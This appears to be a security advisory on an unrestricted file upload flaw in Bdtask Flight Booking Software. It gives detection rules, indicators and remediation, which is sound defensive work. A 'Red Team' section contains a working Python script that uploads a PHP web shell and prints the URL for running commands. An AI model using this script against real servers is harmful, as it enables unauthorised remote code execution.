CVE-2025-12223

Executive Summary

CVE-2025-12223 is an unrestricted file upload vulnerability in Bdtask Flight Booking Software version 3.1 and earlier. The flaw resides in the /b2c/package-information endpoint of the Package Information Module, allowing an unauthenticated remote attacker to upload arbitrary files (e.g., web shells) to the server. With a CVSS score of 6.3 (Medium), the vulnerability is trivial to exploit due to the lack of input validation and the public availability of exploit details. No patch has been released by the vendor, and no open-source patch data exists. This report provides a full technical breakdown, detection rules, and remediation guidance.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Attacker can upload files but not modify existing data.
• Availability (A): Low (L) – Potential for denial of service via resource exhaustion.

Threat Level: Medium. The exploit is public, and the attack surface is large due to the lack of authentication. However, the impact is limited to file uploads without direct privilege escalation.

Deep Dive & Mechanics

The vulnerability exists in the file upload functionality of the Package Information Module. The endpoint /b2c/package-information accepts file uploads without validating the file type, size, or content. An attacker can craft a multipart POST request containing a malicious file (e.g., a PHP web shell) and upload it to the server. The uploaded file is stored in a predictable directory (likely /uploads/ or similar), allowing the attacker to execute arbitrary code by accessing the file via HTTP.

Root Cause: The application fails to check the MIME type, file extension, or content of uploaded files. No server-side validation is performed, and the file is saved directly to the web root.

Attack Flow:

1. Attacker identifies the vulnerable endpoint.
2. Attacker sends a POST request with a file containing malicious code (e.g., shell.php).
3. The server stores the file in a web-accessible directory.
4. Attacker accesses the uploaded file to execute code.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be similar to the following PHP snippet:

// Vulnerable code (conceptual)
if ($_FILES['file']['error'] == UPLOAD_ERR_OK) {
    $target = 'uploads/' . $_FILES['file']['name'];
    move_uploaded_file($_FILES['file']['tmp_name'], $target);
}

Patched code (recommended):

// Patched code (conceptual)
$allowed_extensions = ['jpg', 'png', 'pdf'];
$file_extension = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($file_extension, $allowed_extensions)) {
    die('Invalid file type.');
}
$target = 'uploads/' . uniqid() . '.' . $file_extension;
move_uploaded_file($_FILES['file']['tmp_name'], $target);

Exploitation & Lab Setup

Red Team

Prerequisites:

• Python 3 with requests library.
• Target running Bdtask Flight Booking Software <= 3.1.

Exploit Script:

import requests

target_url = "http://target.com/b2c/package-information"
payload = '<?php system($_GET["cmd"]); ?>'
files = {'file': ('shell.php', payload, 'application/x-php')}

response = requests.post(target_url, files=files)
if response.status_code == 200:
    print("Upload successful. Access shell at: http://target.com/uploads/shell.php?cmd=id")
else:
    print("Upload failed.")

Usage:

1. Save the script as exploit.py.
2. Run python3 exploit.py.
3. Access the uploaded shell via the provided URL.

Blue Team

Detection Steps:

• Monitor for POST requests to /b2c/package-information with Content-Type: multipart/form-data.
• Alert on file uploads with suspicious extensions (.php, .asp, .jsp, .exe).
• Check for unexpected files in the uploads/ directory.

Honeypot Setup:

• Deploy a decoy endpoint that mimics the vulnerable upload functionality.
• Log all upload attempts and analyze attacker behavior.

Indicators of Compromise (IOCs)

• File Paths: /uploads/shell.php, /b2c/package-information
• Network Patterns: POST requests with multipart data to /b2c/package-information
• File Hashes (example):
  • shell.php (MD5: e99a18c428cb38d5f260853678922e03)
• User-Agent: Any (no specific agent required)

Detection Engineering

YARA Rule

rule CVE_2025_12223_Upload {
    meta:
        description = "Detects exploitation attempts for CVE-2025-12223"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $php_shell = "<?php system("
        $upload_path = "/b2c/package-information"
    condition:
        $upload_path and $php_shell
}

Sigma Rule

title: CVE-2025-12223 Unrestricted File Upload
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /b2c/package-information with file uploads
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/b2c/package-information'
        cs-content-type: 'multipart/form-data*'
    condition: selection
falsepositives:
    - Legitimate file uploads by authorized users
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-12223 Unrestricted File Upload"; flow:to_server; http.method; content:"POST"; http.uri; content:"/b2c/package-information"; http.content_type; content:"multipart/form-data"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the vulnerable endpoint by removing or restricting access to /b2c/package-information via web server configuration (e.g., .htaccess or Nginx location block).
2. Implement file upload validation:
   • Whitelist allowed file extensions (e.g., .jpg, .png, .pdf).
   • Validate MIME types server-side.
   • Rename uploaded files to random strings.
   • Store uploads outside the web root.
3. Apply a Web Application Firewall (WAF) rule to block POST requests to the vulnerable path with file uploads.

Long-term Fix:

• Contact the vendor for an official patch. If unresponsive, consider migrating to a different booking software.

Workaround:

• Use a reverse proxy to inspect and block malicious uploads.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert